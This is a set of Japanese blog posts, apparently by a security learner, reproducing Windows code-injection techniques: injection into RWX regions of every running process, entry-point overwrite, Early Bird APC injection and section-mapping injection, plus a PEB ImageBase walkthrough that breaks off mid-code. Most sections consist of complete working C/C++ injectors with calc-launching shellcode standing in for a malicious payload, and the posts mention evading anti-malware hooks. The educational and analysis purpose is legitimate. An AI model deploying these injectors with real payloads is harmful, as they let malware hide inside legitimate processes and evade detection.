VirtualQueryExによるRWX保護メモリの列挙をやってみる
VirtualQueryExによるRWX保護メモリの列挙をやってみる
マルウェアが使う基本的なcode injection手法の一部には、最初にVritualAllocを使ってターゲットプロセス内に実行可能なメモリ領域を割り当て、その領域にコードを書き込むことで攻撃者が望む処理を実行させることがある。
今回はVirtualQueryExを利用して、ターゲット端末内で動作する全てのプロセス上の既に割り当てられているRWX保護なメモリ領域を発見しシェルコードの書き込みと実行をさせてみる。
まず先んじて、仮想アドレス空間内のページに関する情報を列挙するプログラムを実装する。
仮想アドレス領域内のページ情報
Windowsにおいてプロセスの仮想アドレス領域内の各ページは、状態(State)、アクセス保護(Protect)、タイプ(Type)の3つの要素を持つ。 以下に3つの要素が取りうる値をそれぞれまとめた。
State | Value | Meaning |
---|---|---|
MEM_COMMIT | 0x1000 | Indicates committed pages for which physical storage has been allocated, either in memory or in the paging file on disk. |
MEM_FREE | 0x10000 | Indicates free pages not accessible to the calling process and available to be allocated. For free pages, the information in the AllocationBase, AllocationProtect, Protect, and Type members is undefined. |
MEM_RESERVE | 0x2000 | Indicates reserved pages where a range of the process's virtual address space is reserved without any physical storage being allocated. For reserved pages, the information in the Protect member is undefined. |
Type | Value | Meaning |
---|---|---|
MEM_IMAGE | 0x1000000 | Indicates that the memory pages within the region are mapped into the view of an image section. |
MEM_MAPPED | 0x40000 | Indicates that the memory pages within the region are mapped into the view of a section. |
MEM_PRIVATE | 0x20000 | Indicates that the memory pages within the region are private (that is, not shared by other processes). |
アクセス保護に関しては長すぎるので以下のページを参照してほしい。
https://docs.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants
シェルコードが実行可能なのは、それぞれStateがMEM_COMMIT、TypeがMEM_PRIVATE、メモリ保護がPAGE_EXECUTE_READWRITEなメモリ領域である。
VirtualQueryExによるページ情報取得
VirtualQueryEXにターゲットプロセスのハンドルを渡すことで、仮想メモリのページ情報を得ることができる。 具体的には以下のようなMEMORY_BASIC_INFORMATION構造体に各種情報が格納される。
typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
まずは特定のプロセスに対してこれらの情報を取得するプログラムを実装してみる。
#include<stdio.h> #include <Windows.h> #include <cstdlib> // pause() int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; STARTUPINFOA StartupInfo = {}; PROCESS_INFORMATION ProcessInfo = {}; CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo); printf("ProcessId:%d\n", ProcessInfo.dwProcessId); printf("Base address\t\tState\tType\tProtection\n"); while (VirtualQueryEx(ProcessInfo.hProcess, offset, &mbi, sizeof(mbi))) { printf("%p", mbi.BaseAddress); printf("\t%x", mbi.State); printf("\t%x", mbi.Type); printf("\t%x\n", mbi.AllocationProtect); offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); } system("PAUSE"); TerminateProcess(ProcessInfo.hProcess, NULL); CloseHandle(ProcessInfo.hProcess); return 0; }
これを実行すると次のような結果が得られる。 Process Hackerで取得できる内容と一致していることがわかる。
シェルコードの書き込みと実行
次にシステム上で動作する全プロセスに対してページ情報を取得するプログラムを実装する。 これはCreateToolhelp32SnapshotとProcess32First、Process32Nextを使えばよい。
最後に、RWX保護なメモリ領域に対して悪意あるシェルコードに見立てた電卓を起動するシェルコードを書き込み実行させてみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
完成したコードは以下のようになる。
#include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; HANDLE process = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); DWORD bytesWritten = 0; unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) { process = OpenProcess( MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { std::wcout << processEntry.szExeFile << "[" << processEntry.th32ProcessID << "]\n"; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL); } } offset = 0; } CloseHandle(process); } return 0; }
目当てのメモリ領域を見つかるとWriteProcessMemoryでシェルコードをその領域へ書き込み、CreateRemoteThreadでターゲットプロセス内に新規スレッドを作成することでシェルコードが実行される。
以下のように電卓が起動するはずだ。
まとめ
本記事の内容は参考サイトで見つけた内容をそのまま手元で再現してみたというものだ。 Windos APIを使いこなせればシステムに関する各種情報を簡単に収集でき強力なプログラムを組めるということが実感できた。
参考サイト
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる。 PEファイルフォーマットのAddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスを指している。したがってAddressOfEntryPointが指すメモリ領域の属性は必ず実行可能である。 プロセスのメインスレッドの実行に先んじてこのメモリ領域をシェルコードで上書きすることで、任意のコードを実行できる。
今回は悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
PEファイルフォーマットのAddressOfEntryPointについて
PEファイルフォーマットはWindowsのローダが認識してくれる実行可能ファイルの主流フォーマットである。 AddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスであり、RVAであらわされる。RVAはファイル内オフセットと同義であり、また実際のアドレスからイメージのロードアドレスを引いた値のことである。したがって実際のエントリポイントのアドレスは、イメージファイルが仮想メモリにロードされるアドレスであるImageBaseにAddressOfEntryPointを加算することで得られる。
AddressOfEntryPointはOptional headersに含まれ、Optional headersはDos Headerのe_lfanewが指す。
PEファイルフォーマットは以下の資料が理解の補助になるだろう。
http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
本手法の概要
本手法の流れは大まかに次のようになる。
- ターゲットプロセスをCREATE_SUSPENDで新規作成。
- ターゲットプロセスのPEBからImageBaseを取得する。
- ターゲットプロセスからAddressOfEntryPointを取得する。
- 仮想アドレス(AddressOfEntryPoint+ImageBase)へシェルコードを書き込む。
- ターゲットプロセスを再開させることでシェルコードが実行される。
CreateProcess関数にCREATE_SUSPENDフラグを付与してプロセスを新規作成することで、作成されたプロセスはエントリーポイントのずっと手前で停止する。
イメージファイルはWindowsローダーによって仮想メモリにロード、実行される。 仮想メモリのどこにロードされるかはローダーによって決められる。 PEファイルフォーマットではイメージファイル内にImageBaseというエントリがあり、例えば0x00400000や0x10000000などがデフォルトで指定される。もしこのアドレスへのロードに失敗した場合は、別のアドレスにロードされることとなりベース再配置処理などを行う必要がある。
実際にイメージファイルが仮想メモリのどこにロードされたかはPEB(Process Environment Block)から求めることができる。 詳細は省くが64bitアプリケーションの場合、PEBのベースアドレスからオフセット+0x10の位置にImageBaseが格納されている。
この部分の詳しい解説は以下の記事を参考にしてほしい。
コード
以下がAddressOfEntryPoint利用によるCode Injectionを実装したコードとなる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <cstdlib> // pause() #include<stdio.h> #pragma comment(lib, "ntdll") int main() { unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("ProcessId:%d\n", pProcessInfo->dwProcessId); // find remote PEB PROCESS_BASIC_INFORMATION* pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess(pProcessInfo->hProcess, ProcessBasicInformation, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10; printf("PebBaseAddress:%p\n", pBasicInfo->PebBaseAddress); // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); printf("ImageBase:%p\n", ImageBase); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)ImageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD64)ImageBase); printf("codeEntry:%p\n", codeEntry); // write shellcode to image entry point and execute it WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)codeEntry, shellcode, sizeof(shellcode), NULL); ResumeThread(pProcessInfo->hThread); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
デモ
実際に動作させてみる。 まず次のようにコードで取得したnotepad.exeのImageBaseと、Process HackerによるImageBaseが一致することがわかる。
続いてAddressOfEntryPointがNikPEViewerによるものと一致することがわかる。
最後に電卓が起動して理論通り動作していることが確かめられた。
参考サイト
QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる。
APCを使ったcode injection手法はEarly Bird Injectionと呼ばれることがある。これはターゲットプロセスのプロセス作成ルーチンの早い段階、すなわちメインスレッドが開始される前に、攻撃者が悪意あるコードを挿入、実行できることから来ている。このテクニックが公開された当初は、この仕組みによりマルウェア対策製品で使用されるWindowsフックエンジンによる検出を回避できる可能性があった。
APCとは
Windowsは非同期プロシージャ呼び出し(APC, Asynchronous Procedure Call)を実装している。 APCはAPCオブジェクトと呼ばれるカーネル制御オブジェクトによって表される。実行待ちのAPCはカーネルが管理するAPCキューに追加される。 システム共有のDPCキューと異なり、APCキューはスレッドごとに用意、管理される。 APCを使うことで、ユーザーは特定のスレッドのコンテキストで非同期的にコードを実行できる。
コールバック関数として設定された関数は、スレッドがアラート可能状態になると、先入れ先出しの順序で実行される。実行中の全てのスレッドには独自のAPCキューがあり、WinAPIのQueueUserAPC関数にてこのキューにコールバック関数を追加できる。
Early Bird Injectionの概要
Early Bird InjectionではこのAPCを悪用する、特定のプロセスのアドレス空間に悪意あるコードをAPCキューとして配置する。 APCが呼び出されると悪意あるコードがターゲットプロセス内のスレッドで実行される。
以降では、悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。
電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
コード
以下がEarly Bird Injectionを実装したコードとなる。
#include <Windows.h> #include<stdio.h> int main() { printf("Start APC queue code injection\n"); // 64bit calc.exe unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; SIZE_T shellSize = sizeof(buf); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("Create target process\n"); LPVOID shellAddress = VirtualAllocEx(pProcessInfo->hProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; printf("Allocate memory in target process\n"); WriteProcessMemory(pProcessInfo->hProcess, shellAddress, buf, shellSize, NULL); printf("Write shellcode to the allocated memory\n"); QueueUserAPC((PAPCFUNC)apcRoutine, pProcessInfo->hThread, NULL); ResumeThread(pProcessInfo->hThread); printf("Adds a APC object to the APC queue of the target proess's thread.\n"); printf("Complete!\n"); return 0; }
手順は次の通り。
- CREATE_SUSPENDフラグを付与してターゲットとなるプロセスを新規作成。
- ターゲットプロセスにメモリを割り当て、シェルコードを書き込む。
- APCをターゲットプロセスのメインスレッドにキューイング。
- ターゲットプロセスの再開。
デモ
実際にこのコードをコンパイルし実行すると、確かにシェルコードが実行され電卓が起動する。
VirtualAllocExによるメモリが確保されている様子。
WriteProcessMemoryでシェルコードがターゲットプロセス内に書き込まれている様子。
ResumeThreadによりターゲットプロセスが再開され電卓が起動している様子である。
おわりに
今回はQueueUserAPCによるEarly Bird Injectionをやってみた。
複数のプロセスをまたぐマルウェアの解析は厄介だ。 特に今回のようなプロセスがサスペンド状態で作成された場合、プロセス作成ルーチンが終了しておらず、CreateProcessA関数が実行された時点ではデバッガでそのプロセスへアタッチできない。 またプロセスが再開された瞬間にAPCが実行、プロセスが終了するため手動でアタッチすることは困難だ。 これを適切に解析するにはまた別のテクニックが必要となる。 適宜コードを調整するなどして解析の練習などに使用してもらえれば幸いだ。
追記
NtTestAlert関数を使用すれば即座にAPCキューをディスパッチし、コードを実行させることができる。 NtTestAlert関数はAPCキューが空でない場合にKiUserApcDispatcher関数を呼び出す。 KiUserApcDispatcher関数はAPCキューを処理するためにWindowsカーネルによって使用される関数である。KiUserApcDispatcher関数が呼び出されるとAPCキューに配置されたコードを指定されたコンテクストで実行する。
参考サイト
NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる
NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる
Process Injectionとは
マルウェアなどが使用する、正当なプロセスに悪意あるコードを注入する手法は一般にProcess Injectionと呼ばれる。 プロセスにコードを注入する方法は数多あるが、今回はNtCreateSection関数とNtMapViewOfSection関数を使った手法を再現してみる。
本手法の概要
injectorプロセス内にセクションを新規作成する。それをメモリマップトファイルとしてマップする。ターゲットプロセスにも同様にこのセクションをマップする。 injectorプロセスがセクションにシェルコードを書き込むことで、ターゲットプロセスにもシェルコードが共有される。 最後にターゲットプロセスに対して、開始アドレスがシェルコードが書き込まれたセクションに指定されたスレッドを新規作成することで、シェルコードがターゲットプロセス内で実行される。
今回は悪意あるシェルコードを内部に持ったinjectorプロセスが新規にメモ帳プロセスを作成し、そのプロセスに対してインジェクションを行うという想定で本手法を再現してみる。 悪意あるシェルコードの代わりとして、ももいろテクノロジーさんの電卓を起動するシェルコードを使用させてもらう。
http://inaz2.hatenablog.com/entry/2015/07/26/175115
プロセス間のデータ共有おさらい
本手法では、プロセス間のデータ共有としてWindowsが持つメモリマップトファイルの機能を使う。
まず前提として、各プロセスは独自のアドレス空間を持つためプロセス間では例えアドレスが同じであっても保持されているデータは同一ではない。
メモリマップトファイルはディスク上のファイルを仮想アドレス空間に配置し、メモリ上のデータが書き換えられたと同時にファイルの内容も書き換えるという機能だ。 このような仮想アドレス空間とファイル内容を相互に反映させるようメモリ上にデータを配置することをマッピングという。 複数のプロセス間で同一のファイルをマッピングすれば、異なるアドレス空間であっても同一のデータ領域を共有することができる。
大まかに次のような手順になる。
- CreateFileMapping関数によってファイルマッピングオブジェクトの作成、そのオブジェクトへのハンドルを取得する。
- 取得したハンドルを元に、MapViewOfFile関数で作成したオブジェクトを仮想アドレス空間にマッピング
- メモリに対して種々の操作
- アンマップ
- ファイルマッピングオブジェクトの削除
ディスク上のファイルを伴わないメモリマップトファイル
メモリマップトファイル機能を使ったプロセス間のデータ共有について大まかにまとめた。 ただし上の手順ではディスク上に実行させたいコードが記述されたファイルを新たに作成する必要があるため攻撃者にとっては具合が悪い。
そこでNtMapViewOfSection関数を使う。 これは名前の通り仮想メモリ上のセクションをマッピングする関数だ。 このセクションオブジェクトを複数のプロセスで共有すれば、マッピングされたセクションオブジェクトは相互に反映される。
コード
上記の流れを踏まえて書いたのが以下のコード。
#include <Windows.h> #include<stdio.h> #pragma comment(lib, "ntdll") typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID; using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID * BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID); int main() { unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection")); myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection")); myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread")); SIZE_T size = 4096; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo); printf("create process\n"); fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); printf("fNtCreateSection\n"); fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE); HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pProcessInfo->dwProcessId); fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ); printf("fNtMapViewOfSection\n"); memcpy(localSectionAddress, buf, sizeof(buf)); HANDLE targetThreadHandle = NULL; fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL); printf("complete!\n"); return 0; }
デモ
以下の動画でコードのデモを見ることができる。
— ry0kvn (@ry0kvn) 2020年1月9日
まずプロセスエディタで新規作成されたメモ帳のremoteSectionAddress付近のメモリ内容を表示している。
理論通りならば、次のmemcpy関数によってシェルコードがinjectorプロセスのセクションに書き込まれた瞬間、メモ帳のこのアドレスにもシェルコードが共有されるはずである。 ステップ実行すると確かにシェルコードがメモ帳プロセスの仮想メモリに共有されていることが確認できる。 その後処理を進めることで新規作成したメモ帳でシェルコードが実行され、電卓が起動している。
参考サイト
64bitアプリケーションのPEBからImageBaseを取得してみる
64bitアプリケーションのPEBからImageBaseを取得してみる
Windowsにおいて各プロセスはエグゼクティブプロセス(Executive Process:EPROCESS)構造体によって表現される。 この構造体にはプロセスに関する多くの情報が保持されており、たとえば、複数のスレッドを持つプロセスであれば各スレッド情報を持つエグゼクティブスレッド(Executive Thread:ETHREAD)構造体へのポインタなどがある。 ただしEPROCESS構造体とその関連構造体の多くはシステムのアドレス空間上に存在する。 ではユーザーモードのコードからプロセス情報を得るにはどうすればよいだろうか。 じつはプロセス環境ブロック(Process Enciroment Block:PEB)という構造体がユーザーモードのアドレス空間に用意されており、ここからプロセスに関する種々のデータを取得することができる。
今回は64bitプロセスのPEBからImageBaseを取得してみる。 ImageBaseとはその名の通りイメージファイルがロードされるアドレスであり、例えばPEファイルならImageBaseからの2バイトはMZがくるといった具合だ。 このImageBase+RVAでロードされたPEファイルの各種データにアクセスすることができる。
WinDbgで確認してみる
まずはWinDbgでnotepad.exeのPEBからImageBaseを確認してみる。 次のコマンドでPEB構造体のフォーマットを出力できる。
0:007> dt _peb ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit +0x003 IsPackagedProcess : Pos 4, 1 Bit +0x003 IsAppContainer : Pos 5, 1 Bit +0x003 IsProtectedProcessLight : Pos 6, 1 Bit +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit +0x004 Padding0 : [4] UChar +0x008 Mutant : Ptr64 Void +0x010 ImageBaseAddress : Ptr64 Void // 省略
オフセット0x10のImageBaseAddressが求めたいImageBaseだ。
これはただPEB構造体の構造を出力しているだけでnotepad.exeのPEBではない。 notepad.exeのPEBを出力するにはPEBのアドレスを指定する必要がある。 次のようにすればよい。
0:007> r $peb $peb=000000b5755da000 0:007> dt _peb @$peb ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x84 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 IsPackagedProcess : 0y0 +0x003 IsAppContainer : 0y0 +0x003 IsProtectedProcessLight : 0y0 +0x003 IsLongPathAwareProcess : 0y1 +0x004 Padding0 : [4] "" +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00007ff7`8dec0000 Void // 省略
求めたいImageBaseはPEB構造体のImageBaseAddressから0x00007ff7`8dec0000であることがわかる。
dcコマンドでこのアドレスの中身を見てみる。
0:007> dc 0x00007ff7`8dec0000 00007ff7`8dec0000 00905a4d 00000003 00000004 0000ffff MZ.............. 00007ff7`8dec0010 000000b8 00000000 00000040 00000000 ........@....... 00007ff7`8dec0020 00000000 00000000 00000000 00000000 ................ 00007ff7`8dec0030 00000000 00000000 00000000 000000f8 ................ 00007ff7`8dec0040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th 00007ff7`8dec0050 70207369 72676f72 63206d61 6f6e6e61 is program canno 00007ff7`8dec0060 65622074 6e757220 206e6920 20534f44 t be run in DOS 00007ff7`8dec0070 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......
確かにImageBaseが取得できているようだ。
ちなみに!pebコマンドを使えば一発で求まる。
0:007> !peb PEB at 000000b5755da000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00007ff78dec0000 // 省略
コードで確認してみる
次にコードでnotepad.exeのPEBからImageBaseを求めてみる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <iostream> #include <cstdlib> // pause() #include <sstream> // std::stringstream #include<stdio.h> std::stringstream ss; typedef NTSTATUS(WINAPI *fpNtQueryInformationProcess)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); PROCESS_BASIC_INFORMATION* FindRemotePEB(HANDLE hProcess){ HMODULE hNTDLL = LoadLibraryA("ntdll"); fpNtQueryInformationProcess NtQueryInformationProcess = (fpNtQueryInformationProcess)GetProcAddress( hNTDLL, "NtQueryInformationProcess"); // find remote PEB PROCESS_BASIC_INFORMATION *pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess( hProcess, 0, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // debug std::cout << "PEBase: " << pBasicInfo->PebBaseAddress << std::endl; return (PROCESS_BASIC_INFORMATION*)pBasicInfo; } DWORD64 